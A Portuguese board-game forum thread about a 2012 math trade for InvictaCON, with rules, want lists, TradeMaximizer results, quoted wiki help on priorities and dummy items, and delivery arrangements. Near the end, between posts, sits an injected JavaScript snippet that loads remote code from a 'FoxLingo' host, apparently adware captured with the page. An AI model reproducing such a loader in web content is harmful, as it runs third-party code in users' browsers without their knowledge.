12ª MathTrade AoJ.com / InvictaCON 2012 (RESULTADOS FINAIS)

Retrato de costa

Esperei até hoje de manhã, mas ficou a faltar uma lista... vou seguir assim, com estas wantlists. Confirmem se está tudo bem, por favor.

#! ALLOW-DUMMIES LINEAR-PRIORITIES

(costa) 1 : 42

(costa) 2 : 42 ; 8 17 21 34 59 47 62

(costa) 3 :

(costa) 4 : 42 ; 8 17 21 34 59 47 62

(costa) 5 :

(costa) 6 :

(stormrover) 7 : 42 1 ; 23 17 ; 2 3 6 15 58

(stormrover) 8 : 42 1 ; 23 17 ; 2 3 6 15 58

(stormrover) 9 : 42 1 ; 23 17 ; 2 3 6 15 58

(stormrover) 10 : 42 1 ; 23 17 ; 2 3 6 15 58

(stormrover) 11 : 42 1 ; 23 17 ; 2 3 6 15 58

(stormrover) 12 : 42 1 ; 23 17 ; 2 3 6 15 58

(stormrover) 13 : 42 1 ; 23 17 ; 2 3 6 15 58

(Phelan) %ALJUB : 7 68 31

(Phelan) 14 : 42 ; 59 29 30 ; 64 62 66 72 8 9 71 53 74 3 34 38 1 40 58 54 15 57 5 24 70 65 %ALJUB 28 17 26 46 16 4 50 73 37 39 48 47 44 32 2 18 19 33 41 10 49 55 60 61 27 43 22 52 51

(Abruk) 15 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(Abruk) 16 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(Abruk) 17 : 5 42 41 6 32 40 52 64 9 59 23

(Abruk) 18 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(Abruk) 19 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(Phelan) 20 : 42 ; 59 29 30 ; 64 62 66 72 8 9 71 53 74 3 34 38 1 40 58 54 15 57 5 24 70 65 %ALJUB 28 17 26 46 16 4 50 73 37 39 48 47 44 32 2 18 19 33 41 10 49 55 60 61 27 43 22 52 51

(Abruk) 21 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(Abruk) 22 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(Phelan) 23 : 42

(Abruk) 24 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(Phelan) 25 : 42 ; 59 29 30 ; 64 62 66 72 8 9 71 53 74

(PeterPanzer) 26 : 21 ; 42 ; 5 ; 38 ; 32 ; 72 ; 64

(PeterPanzer) 27 : 21 ; 42 ; 5 ; 38 ; 32 ; 72 ; 64

(PeterPanzer) 28 : 21 ; 42 ; 5 ; 38 ; 32 ; 72 ; 64

(pbv) 29 : 41 38 72 65 8 10 4 19 44

(pbv) 30 : 41 38 72 65 8 10 4 19 44

(pbv) 31 : 41 38 72 65 8 10 4 19 44

(pbv) 32 : 41 38 ; 72 8 10

(máquina) 33: 42 5 6 8 2 21 24 47 28 32 72 71 70 54

(máquina) 34: 42 5 6 8 2 21 24

(máquina) 35: 42 5 6 8 2 21 24 47

(máquina) 36: 42 5 6 8 2 21 24 47 28 32 72 71 70 54

(máquina) 37: 42 5 6 8 2

(máquina) 38: 42 5 6 8 2

(máquina) 39: 42 5 6 8 2 21 24 47

(máquina) 40: 42 5 6 8 2

(PeterPanzer) 41 : 42 ; 21 ; 5 ; 38 ; 32

(Joca) 42 :

(Joca) 43 :

(Joca) 44 :

(Joca) 45 :

(Abruk) 46 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(Abruk) 47 : 5 42 41 6 32 40 52 64 26 8 61 39 9 66 58 59 2 23 70 72

(pbv) 48 : 41 38 ; 72 8 10

(vch) 49 : 5 3 42 ; 6 64 65 ; 16 41 17

(vch) 50 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18 ; 37 15 20

(vch) 51 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18 ; 37 15 20

(vch) 52 : 5 3 42 ; 6 64 65 ; 16 41 17

(vch) 53 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18 ; 37 15 20

(vch) 54 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18

(vch) 55 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18

(vch) 56 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18 ; 37 15 20

(vch) 57 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18 ; 37

(vch) 58 : 5 3 42 ; 6 64 65 ; 16 41 17

(vch) 59 : 5 3 42 ; 6 64 65 ; 16 41 17

(vch) 60 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18 ; 37 15 20

(vch) 61 : 5 3 42 ; 6 64 65 ; 16 41 17

(vch) 62 : 5 3 42 ; 6 64 65 ; 16 41 17 ; 22 70 27 18 ; 37 15 20

(joaofilipesilva) 63 : 5 42 1 ; 17

(El_pilo) 64 : 5 41 34 6

(El_pilo) 65 : 5 41 34 6

(El_pilo) 66 : 5 41 34 6

(Phelan) 67 : 42 ; 59 29 30 ; 64 62 66 72 8 9 71 53 74 3 34 38 1 40 58 54 15 57 5 24 70 65 %ALJUB 28 17 26 46 16 4 50 73 37 39 48 47 44 32 2 18 19 33 41 10 49 55 60 61 27 43 22 52 51 21 35 69 63 56

(sacazul) 68 : 5 ; 41 40 59 37 42 26 44 21 8                

(sacazul) 69 : 5 ; 41 40 59 37 42 26 44 21 8                    

(sacazul) 70 : 5 ; 41 40 59 37 42 26 44 21 8                

(sacazul) 71 : 5 ; 41 40                                

(sacazul) 72 : 5 ; 41 40                                

(sacazul) 73 : 5 ; 41 40 59 37 42 26 44 21 8                    

(sacazul) 74 : 5 ; 41 40 59 37 42 26 44 21 8


Após correr o TradeMaximizer, são estes os resultados:

TradeMaximizer Version 1.3a

Options: ALLOW-DUMMIES LINEAR-PRIORITIES

 

TRADE LOOPS (29 total trades):

 

(COSTA) 2            receives (VCH) 62

(VCH) 62             receives (PHELAN) 20

(PHELAN) 20          receives (MÁQUINA) 33

(MÁQUINA) 33         receives (VCH) 54

(VCH) 54             receives (ABRUK) 22

(ABRUK) 22           receives (PBV) 32

(PBV) 32             receives (STORMROVER) 10

(STORMROVER) 10      receives (ABRUK) 15

(ABRUK) 15           receives (MÁQUINA) 39

(MÁQUINA) 39         receives (ABRUK) 47

(ABRUK) 47           receives (SACAZUL) 72

(SACAZUL) 72         receives (MÁQUINA) 40

(MÁQUINA) 40         receives (COSTA) 2

 

(STORMROVER) 8       receives (VCH) 58

(VCH) 58             receives (EL_PILO) 64

(EL_PILO) 64         receives (MÁQUINA) 34

(MÁQUINA) 34         receives (ABRUK) 24

(ABRUK) 24           receives (SACAZUL) 70

(SACAZUL) 70         receives (VCH) 59

(VCH) 59             receives (EL_PILO) 65

(EL_PILO) 65         receives (PETERPANZER) 41

(PETERPANZER) 41     receives (MÁQUINA) 38

(MÁQUINA) 38         receives (STORMROVER) 8

 

(STORMROVER) 9       receives (ABRUK) 17

(ABRUK) 17           receives (STORMROVER) 9

 

(ABRUK) 16           receives (VCH) 52

(VCH) 52             receives (ABRUK) 16

 

(ABRUK) 21           receives (PETERPANZER) 26

(PETERPANZER) 26     receives (ABRUK) 21

 

ITEM SUMMARY (29 total trades):

 

(ABRUK) 15           receives (MÁQUINA) 39         and sends to (STORMROVER) 10

(ABRUK) 16           receives (VCH) 52             and sends to (VCH) 52

(ABRUK) 17           receives (STORMROVER) 9       and sends to (STORMROVER) 9

(ABRUK) 18                       does not trade

(ABRUK) 19                       does not trade

(ABRUK) 21           receives (PETERPANZER) 26     and sends to (PETERPANZER) 26

(ABRUK) 22           receives (PBV) 32             and sends to (VCH) 54

(ABRUK) 24           receives (SACAZUL) 70         and sends to (MÁQUINA) 34

(ABRUK) 46                       does not trade

(ABRUK) 47           receives (SACAZUL) 72         and sends to (MÁQUINA) 39

(COSTA) 1                        does not trade

(COSTA) 2            receives (VCH) 62             and sends to (MÁQUINA) 40

(COSTA) 3                        does not trade

(COSTA) 4                        does not trade

(COSTA) 5                        does not trade

(COSTA) 6                        does not trade

(EL_PILO) 64         receives (MÁQUINA) 34         and sends to (VCH) 58

(EL_PILO) 65         receives (PETERPANZER) 41     and sends to (VCH) 59

(EL_PILO) 66                     does not trade

(JOAOFILIPESILVA) 63             does not trade

(JOCA) 42                        does not trade

(JOCA) 43                        does not trade

(JOCA) 44                        does not trade

(JOCA) 45                        does not trade

(MÁQUINA) 33         receives (VCH) 54             and sends to (PHELAN) 20

(MÁQUINA) 34         receives (ABRUK) 24           and sends to (EL_PILO) 64

(MÁQUINA) 35                     does not trade

(MÁQUINA) 36                     does not trade

(MÁQUINA) 37                     does not trade

(MÁQUINA) 38         receives (STORMROVER) 8       and sends to (PETERPANZER) 41

(MÁQUINA) 39         receives (ABRUK) 47           and sends to (ABRUK) 15

(MÁQUINA) 40         receives (COSTA) 2            and sends to (SACAZUL) 72

(PBV) 29                         does not trade

(PBV) 30                         does not trade

(PBV) 31                         does not trade

(PBV) 32             receives (STORMROVER) 10      and sends to (ABRUK) 22

(PBV) 48                         does not trade

(PETERPANZER) 26     receives (ABRUK) 21           and sends to (ABRUK) 21

(PETERPANZER) 27                 does not trade

(PETERPANZER) 28                 does not trade

(PETERPANZER) 41     receives (MÁQUINA) 38         and sends to (EL_PILO) 65

(PHELAN) 14                      does not trade

(PHELAN) 20          receives (MÁQUINA) 33         and sends to (VCH) 62

(PHELAN) 23                      does not trade

(PHELAN) 25                      does not trade

(PHELAN) 67                      does not trade

(SACAZUL) 68                     does not trade

(SACAZUL) 69                     does not trade

(SACAZUL) 70         receives (VCH) 59             and sends to (ABRUK) 24

(SACAZUL) 71                     does not trade

(SACAZUL) 72         receives (MÁQUINA) 40         and sends to (ABRUK) 47

(SACAZUL) 73                     does not trade

(SACAZUL) 74                     does not trade

(STORMROVER) 10      receives (ABRUK) 15           and sends to (PBV) 32

(STORMROVER) 11                  does not trade

(STORMROVER) 12                  does not trade

(STORMROVER) 13                  does not trade

(STORMROVER) 7                   does not trade

(STORMROVER) 8       receives (VCH) 58             and sends to (MÁQUINA) 38

(STORMROVER) 9       receives (ABRUK) 17           and sends to (ABRUK) 17

(VCH) 49                         does not trade

(VCH) 50                         does not trade

(VCH) 51                         does not trade

(VCH) 52             receives (ABRUK) 16           and sends to (ABRUK) 16

(VCH) 53                         does not trade

(VCH) 54             receives (ABRUK) 22           and sends to (MÁQUINA) 33

(VCH) 55                         does not trade

(VCH) 56                         does not trade

(VCH) 57                         does not trade

(VCH) 58             receives (EL_PILO) 64         and sends to (STORMROVER) 8

(VCH) 59             receives (EL_PILO) 65         and sends to (SACAZUL) 70

(VCH) 60                         does not trade

(VCH) 61                         does not trade

(VCH) 62             receives (PHELAN) 20          and sends to (COSTA) 2

 

Num trades  = 29 of 74 items (39,2%)

Total cost  = 484 (avg 16,69)

Num groups  = 5

Group sizes = 13 10 2 2 2

Sum squares = 281

Obrigado a todos!


Lista fechada, segue de seguida o resumos dos jogos disponíveis para troca e a bem da transparência desta trade fica também aqui a minha wantlist:

1 - Runebound (second edition)
2 - Industria
3 - Defenders of the Realm
4 - Land Unter
5 - Macao
6 - Glen More
7 - Aljubarrota
8 - Die Goldene Stadt
9 - Fast Flowing Forest Fellers
10 - La Vuelta al Mundo en 80 Dias
11 - Warhammer 40000: Rogue Trader
12 - Car Wars Compendium
13 - Forza Motorsport 3 (x-box 360)
14 - Intrigue
15 - Karibik
16 - Alea Jacta Est
17 - Key Harvest
18 - Chang Cheng
19 - Gift Trap
20 - Crazy Kick
21 - Masters of Economy
22 - Goldbrau
23 - Munchkin Quest
24 - Der Markt von Alturien
25 - Munchkin Cthulhu
26 - Aljubarrota + Justinian + Lord of the Rings
27 - Palazzo
28 - Municipium
29 - Queen's Ransom + Onirim
30 - Genji
31 - Aljubarrota
32 - Hansa
33 - Idol Quest + Monkey lab
34 - Domaine
35 - Don Quixote
36 - Love Tubes nº3: Tarzan and Jane
37 - Ra: The Dice Game
38 - Rattus
39 - Cardcassonne
40 - Carcassonne: Caçadores e Recolectores
41 - Pandemic
42 - Shogun
43 - Taboo
44 - Jungle Speed
45 - MindTrap II
46 - Hagoth: Builder of Ships + Gold
47 - Gloria Mundi
48 - Beowulf: The Legend
49 - Wongar
50 - Summonaria
51 - Knights
52 - Pentago XL Deluxe
53 - Street Illegal
54 - Flandern 1302
55 - El Paso
56 - Station Master
57 - California
58 - Revolver
59 - Spectaculum
60 - Backseat Drawing
61 - Buy Word
62 - Coup Royal
63 - Caravelas
64 - Alhambra
65 - Colossal Arena
66 - Dragon's Gold
67 - Wings of War Miniatures: Edward V. Rickenbacker
68 - Aljubarrota
69 - Don Quixote
70 - Mykerinos
71 - Atlantis
72 - Thurn and Taxis
73 - Straw + Die Wiege der Renaissance
74 - Potion Making Practice

(costa) 1 : 42
(costa) 2 : 42 ; 8 17 21 34 59 47 62
(costa) 3 :
(costa) 4 : 42 ; 8 17 21 34 59 47 62
(costa) 5 :
(costa) 6 :


A pedido de algumas famílias e aproveitando a InvictaCON que se aproxima, Cá vai mais uma MathTrade. Podemos assim todos fazer as habituais entregas em mão, poupando uns cobres.

Leiam este conjunto de regras, e depois disso inscrevam os vossos jogos nesta listagem de trocas que eu já criei para o efeito.
Para manter isto o mais limpo e simples possível, peço que coloquem as vossas dúvidas neste post e não no post da listagem de jogos supracitada.

Muitos de nós já tentaram fazer trocas directas de jogos que não queremos. No entanto, nem sempre é possível encontrar um alvo disposto a aceitar este ou aquele jogo. Exactamente por isso, criaram-se as MATH TRADES, que basicamente são um sistema de trocas em grupo que maximiza as possibilidades de uma troca real e satisfatória.

Como funciona?

  1. Todos os que estiverem interessados inscrevem-se oferecendo um (ou mais jogos) para troca.
  2. Durante um determinado período de tempo essa lista está em aberto até que haja um nº satisfatório de "ofertas".
  3. Depois publica-se um resumo com todos os jogos disponíveis para troca, tipo uma bolsa de ofertas.
  4. Após a publicação deste resumo, todos os participantes elaboram uma lista (WantList) onde sugerem as trocas que desejam fazer.
  5. Essa lista é enviada por mail para o moderador (respeitando algumas regras básicas) que depois utilizará um programa (TradeMaximizer com a opção "Allow Dummies" e "linear priorities") criado especialmente para o caso e que definirá as trocas a serem feitas.

Deste modo é possível, no meio de muitos participantes, fazer muito mais trocas e mais satisfatórias.

Chama-se a este mecanismo TROCA MATEMÁTICA DE BAIXO RISCO, porque a existir uma troca será sempre por uma das opções que escolhemos e no pior cenário ficamos com o(s) jogo(s) que inicialmente propusemos à troca.

Para mais informações consultem este thread no BGG.

Agora é só participar.

Esperamos que este evento seja do agrado de todos.

Podem colocar qualquer dúvida aqui ou enviar-me um mail para costa@spielportugal.org .

 

 

 


 

 

PRAZOS:

  • Inscrição de jogos para troca até ao final do dia 29/09/2012;
  • Lista final de jogos a publicar até ao final do dia 30/10/2012;
  • Envio das WantLists até ao final do dia 02/10/2012;
  • Correr TradeMaximizer e Resultados até ao final do dia 03/10/2012.

LIMITES:

  1. Trocas de Jogos de Tabuleiro, Jogos de Cartas, Jogos de Guerra, RPG's e Videojogos;
  2. Não há Limite de entradas;
  3. Não há Limite de itens na WantList;
  4. Duplicados permitidos;
  5. Dummies permitidos;
  6. Não há limites de entradas por utilizador, desde que respeitem os limites anteriores.

REGRAS:

  1. Inscrições exclusivas para utilizadores residentes em Portugal e registados no abreojogo.com;
  2. Permissão de utilizar sweeteners1 desde que devidamente identificados;
  3. Os jogos devem ser oferecidos para troca na Lista de Trocas, onde deverá ser incluída uma descrição detalhada do nome(s) do(s) jogo(s), edição/versão e condição/estado e, se possível, também um link onde as pessoas poderão consultar mais informação sobre o jogo;
  4. A participação nesta troca vincula a aceitação dos prazos, limites e regras desta TradeMath.
  5. As Wantlists deverão ser enviadas para o meu endereço de e-mail acima mencionado  após a publicação da lista final de jogos;
  6. As Wantlists enviadas deverão conter no campo ASSUNTO a designação: 12ª MATH TRADE e no corpo do mail a pretendida WantList no seguinte formato de exemplo: (costa) 1 : 10 100 80 150 ; 120 
  7. Os custos de envio são da inteira responsabilidade de quem envia. Mas o objectivo é fazer as trocas na InvictaCON de 5 a 7 de Outubro de 2012;
  8. Todos os comentários devem ser postados AQUI neste post e não na Lista de Trocas, essa serve APENAS para submeter itens à troca;
  9. Toda a gestão da informação será organizada por mim e contarei com a ajuda dos administradores do AoJ para solucionar qualquer situação omissa e/ou especial.

1 sweetener = um ou mais jogos, normalmente de baixo valor, e que se adiciona(m) ao jogo principal para tornar a oferta mais interessante.

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Estão abertas as hostilidades...

agora é pôr jogos na lista. Não se esqueçam que esta trade tem prazos muito apertados.

Boa sorte a todos.

 

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"The only way to achieve the impossible is to believe it is possible."
Lewis Carroll in Alice in Wonderland

Pois...

As datas já passaram todas... cheeky

-

Gamer profile

Não vale mentir

 há uma data que ainda não foi passada

Não estás a perceber...

... a primeira ainda não passou... 

depois é só viajar no tempo para cumprir as outras :)

 

Stormrover (a.k.a. Nuno)


Last played:

Rules lawyers...

Picuinhas, pá! wink

-

Gamer profile

Bem visto...

Já está corrigido, agora já não há desculpas para meterem aqui jogos :p

 

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"The only way to achieve the impossible is to believe it is possible."
Lewis Carroll in Alice in Wonderland

numerações :)

costa escreveu:

As Wantlists enviadas deverão conter no campo ASSUNTO a designação: 11ª MATH TRADE e no corpo do mail a pretendida WantList no seguinte formato de exemplo: (costa) 1 : 10 100 80 150 ; 120 

Coff coff...

 

Stormrover (a.k.a. Nuno)


Last played:

Maldito copy paste

Mas vocês ainda lêem isso? O texto é sempre o mesmo!!!

Vou corrigir...

 

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"The only way to achieve the impossible is to believe it is possible."
Lewis Carroll in Alice in Wonderland

:)

evilgrin

 

Stormrover (a.k.a. Nuno)


Last played:

hehe...

Só para encontrar eventuais "erros"... mais nada.

-

Gamer profile

Trocar ou não trocar....

... eis a questão!

Não vou à con (infelizmente o trabalho não me vai permitir). Será que valeria a pena entrar na Trade? Não tendo forma de entregar/receber os jogos parece-me um pouco desnecessário e ineficiente...

Aceito sugestões!

eu tb não vou...

no entanto se me calhar alguém de fora de Lisboa nalguma troca, peço a alguém que vá para fazer de correio...

 

Stormrover (a.k.a. Nuno)


Last played:

Tenho a certeza...

de que consegues arranjar por aqui alguém que vá e que não se importa de servir de correio.

Tens também a opção de enviar por correio.

 

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"The only way to achieve the impossible is to believe it is possible."
Lewis Carroll in Alice in Wonderland

problema

O problema poderá ser que os resultados só saiem na 5ª feira, sendo que desconfio que de Lisboa quem vai à InvictaCon ou vai na 5ª feira à tarde ou 6ª feira de manhã....

Eu pessoalmente vou na

Eu pessoalmente vou na quinta, mas sei de gente a vai sexta. Não sei quanto espaço terão, mas é uma possibilidade.
Edit: com sexta, queria dizer sexta à tarde

O ideal...

era de facto os resultados serem publicados mais cedo...

... pois como disseste alguns vão logo na quinta para cima, e alguns desses não têm net para ver os resultados...

De qualquer forma vou participar e em ultimo caso envio por correio se necessário... (se bem que prefiro enviar em mão)

 

Stormrover (a.k.a. Nuno)


Last played:

Se todos...

...forem rápidos a enviar as wantlists eu posso publicar mais cedo. Mas vou fazer uns ajustes no calendário para poder dar mais tempo de intervalo.

Fiquem atentos...

 

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"The only way to achieve the impossible is to believe it is possible."
Lewis Carroll in Alice in Wonderland

me likey!

yes smiley

 

Stormrover (a.k.a. Nuno)


Last played:

Na listagem para troca..

... continuou a contar a data de 30 de setembro como data limite e, julgo, terá induzido em erro alguns utilizadores (tal como eu) que não se aperceberam da alteração de datas, já que consultaram a lista e ela continua a conter em cima a data limite de 30/9.

Tinha alguns jogos para colocar na lista e acabei por não participar por esse facto.

Acredito que alguns utilizadores não consultem diariamente o abreojogo, pelo que a alteração de datas deverá constar em todas as paginas relacionadas com a mathtrade.

Fica o reparo, e ...fica pra proxima.

Cumprimentos

Sacazul

Pois...

Tens toda a razão. Foi um lapso meu não alterar a data na página de trocas. Por esse motivo vou permitir a adição de jogos à lista até ao final do dia de hoje. Amanhã de manhã publicarei a lista final e começarei a aceitar wantlist até ao final do dia 2.

Mais uma vez obrigado pelo reparo, não foi seguramente minha intenção induzir em erro quem quer que seja.

 

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"The only way to achieve the impossible is to believe it is possible."
Lewis Carroll in Alice in Wonderland

Wishlist enviada :)

Obrigado pelo trabalho :)

 

Stormrover (a.k.a. Nuno)


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formato da wishlist

Viva,

qual o significado do ponto-e-virgula nas wishlists? não encontrei este detalhe explicado no BGG...

Pedro

ponto e virgula

Cada numero (do jogo) que poes na lista, tem um rank de prioridade aumentado por 1. Se separares com ponto e virgula, em vez de espaço, fica aumentado por 10.

Se tiveres a linha "Puerto_Rico: Race_for_the_Galaxy Ticket_to_Ride ; Monopoly", quer dizer que pelo teu Puerto Rico queres trocar principalmente pelo RFTG, em segundo lugar pelo Ticket to Ride, e em 12º lugar pelo Monopoly. 

Quando o algoritmo de trocas corre, tenta maximizar os ranks das trocas, o que quer dizer que é muito mais provável que recebas o RFTG ou o TTR do que o Monopoly. Mas não sei explicar quanto mais provável, dado que n percebi o algoritmo completamente.

Na wiki do BGG:

How do priorities work?

 

By default, TradeMaximizer does not use priorities. The moderator can choose to use priorities by specifying a priority scheme as an option (eg, LINEAR-PRIORITIES).

When using priorities, each wanted item in a want list is assigned a certain cost, where lower cost means higher priority. The system then uses cost as a tie-breaker among different ways of achieving the maximum number of trades. In particular, it finds the set of trades that has the minimum total cost, where total cost is the sum of the costs of all the individual items traded.

All priority schemes begin by finding the rank of each wanted item in a want list. The cost is then calculated as a function of rank.

  • In LINEAR-PRIORITIES, cost = rank.
  • In TRIANGLE-PRIORITIES, cost = 1+2+...+rank = rank*(rank+1)/2.
  • In SQUARE-PRIORITIES, cost = rank*rank.
  • In SCALED-PRIORITIES, cost = 1 + (rank-1)*2520/number of wants.

 

In the simplest case, rank is equal to the position of the item in the list. In other words, the first wanted item has rank 1, the second wanted item has rank 2, and so on.

The simple case can be altered in two ways. First, the moderator can set the SMALL-STEP=num option. This sets how much the rank increases when you move from one position to the next. (By default, the small-step value is 1.)

Second, the user can include a semicolon in a want list. A semicolon says "increase the rank of the next item by the big-step value". (The big-step value is 9 by default, but can be set by the moderator using the BIG-STEP=num option.)

For example, in the want list


A : B C ; D



item B has rank 1, item C has rank 2, and item D has rank 12, assuming the small-step value is 1 and the big-step value is 9. Notice that the gap in rank between items C and D is the small-step value plus the big-step value, not just the big-step value. If the small-step and big-step values were 0 and 100, respectively, then item C would have rank 1 and item D would have rank 101.

 

Multiple semicolons in a row are allowed, as are semicolons before the first wanted item.

OK

Obrigado! Também acabei por encontrar essa informação independentemente na documentação sobre o TradeMaximizer.

Já enviei a minha wishlist!

Pedro

Duplicados

By the way, dado que há jogos duplicados, fica aqui outra secção da wiki do bgg para os interessados nesses jogos:

How does duplicate protection (dummy items) work?

 

Suppose you are looking for Vegas Showdown in a math trade, and other people have put up several copies of it. If you have put up a single item in the math trade, then you can safely put all the copies of Vegas Showdown in your want list, as in


005-HTMF : 197-CAYL 123-VEGA 078-VEGA 150-VEGA 026-TOCO



However, suppose you are creating several want lists. If you put all the copies of Vegas Showdown in all of your want lists, as in


005-HTMF : 197-CAYL 123-VEGA 078-VEGA 150-VEGA 026-TOCO
006-JENG : 197-CAYL 123-VEGA 078-VEGA 150-VEGA 026-TOCO



then you might end up with multiple copies of Vegas Showdown. In some situations, this would be okay, but in other situations, you would vastly prefer not to get multiple copies of the same game.

 

In TradeMaximizer, you can protect against getting duplicates by adding a dummy wantlist, as follows:

1. Add username tags to all of your want lists (if you haven't already).


(cokasaki) 005-HTMF : 197-CAYL 123-VEGA 078-VEGA 150-VEGA 026-TOCO
(cokasaki) 006-JENG : 197-CAYL 123-VEGA 078-VEGA 150-VEGA 026-TOCO



Username tags have the form "(name)" and go at the beginning of the want list.

 

2. Create a dummy item, named "%something", and add the set of duplicate items to the want list of the dummy item.


(cokasaki) %VEGAS : 123-VEGA 078-VEGA 150-VEGA

 

3. Now remove the duplicate items from your regular want lists, and add the dummy item instead.


(cokasaki) 005-HTMF : 197-CAYL %VEGAS 026-TOCO
(cokasaki) 006-JENG : 197-CAYL %VEGAS 026-TOCO

 

Now at most one of your regular items can "win" the dummy item, and the dummy item can win at most one of the duplicate items, so you will receive at most one of the duplicates.

Some things to note about dummy items:

  • Dummy items can only be used if the trade moderator has selected the ALLOW-DUMMIES option.
  • You must include a username tag in any want list that involves dummy items.
  • You can create as many dummy items as you want.
  • You cannot refer to anyone else's dummy items, nor can they refer to yours.
  • You can refer to one of your dummy items in the want list of another dummy item.
  • Dummy items are not included in the trade count, so they do not artificially inflate the number of trades.
  • In a trade with priorities, keep in mind that priorities are ignored in the want list for a dummy item. However, the priority of the dummy item in the want list for one of your regular items is handled normally.
  • Dummy items are elided from the trade output. For example, if 006-JENG received %VEGAS and %VEGAS received 123-VEGA, then the output would say that 006-JENG received 123-VEGA.

Enviada!

Acabei agora de enviar a minha wantlist. :)

E o TradeMaximizer, corre ou não?

Então e os resultados da MathTrade? Quem é que está lento no envio das WantLists?

Quero ver Molho. :P ;)

Falta uma lista

Falta a lista do Joca. Já lhe mandei um mail :p

 

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Infelizmente não vou pode ir à InvictaCON

Alguém de Lisboa ou da margem Sul que vá e nao se importe de levar e trazer os jogos que me correspondem? =)

Desde já um obrigado ;)

Se mos entregares hoje ou

Se mos entregares hoje no Passion Fruit ou amanhã até às 18h em Lx, n me importo.

Edit: Acabei de ver de quem tinhas que receber e enviar. O vch costuma estar no passion fruit às quartas, e o peterpanzer está listado em lisboa. No teu caso seria só receber do máquina, e dado que tb recebo um dele, não me dá trabalho nenhum.

Desde já fico-te imensamente

Desde já fico-te imensamente grato =)

A partir de que horas vais estar hoje no passion fruit?

18h, 19h

Vou na sexta

Viva!

Eu estarei na sexta pela InvictaCon. Os que têm jogos para mim (Costa, stormrover e vch), estão lá todos na sexta? Senão, peço aos amigos sacazul e Abruk que me tragam no sábado, mas não quero abusar deles. Aqueles que têm jogos para receber de mim, é só procurarem-me na sexta. Se só forem sábado ou domingo, é pedir na organização, caso eles também não se importem de guardá-los.

Cumprimentos, e boas jogatinas ;)

Opções

Eu infelizmente não vou poder ir à con. Tu és de onde?

 

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Lewis Carroll in Alice in Wonderland

Ele é de Aveiro!

Ele é de Aveiro!

As minhas entregas já as fiz.

As minhas entregas já as fiz. Mas se pudesses trazer o domaine do maquina para mim era excelente ;)

Vou na sexta-feira

Vou na sexta à tarde à Invictacon e levo o Hansa para o Abruk; se não estiveres lá posso deixar fica com alguém?

Pedro

Sim, podes deixar ao Mallgur.

Sim, podes deixar ao Mallgur. Eu entretanto vou no sábado e levanto.

Só vou no sábado por isso só nesse dia é que posso entregar os jogos em mãos.

Abraço

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

Afinal podes mandar pelo

Afinal podes mandar pelo máquina!

Os meus jogos...

Abruk, Máquina e PBV

infelizmente eu não vou poder ir para ao Porto, pelo que o Rui Malhado (phelanpt) vai levar os jogos para vocês.

ele estará no evento os três dias.

Por favor procurem-no.

Obrigado

Abruk, podes entregar-lhe os dois jogos que são para mim.

Abc,

 

Stormrover (a.k.a. Nuno)


Last played:

jogos...

Abruk e Máquina, enviei-vos PMs para combinar a entrega dos jogos.

saudações lúdicas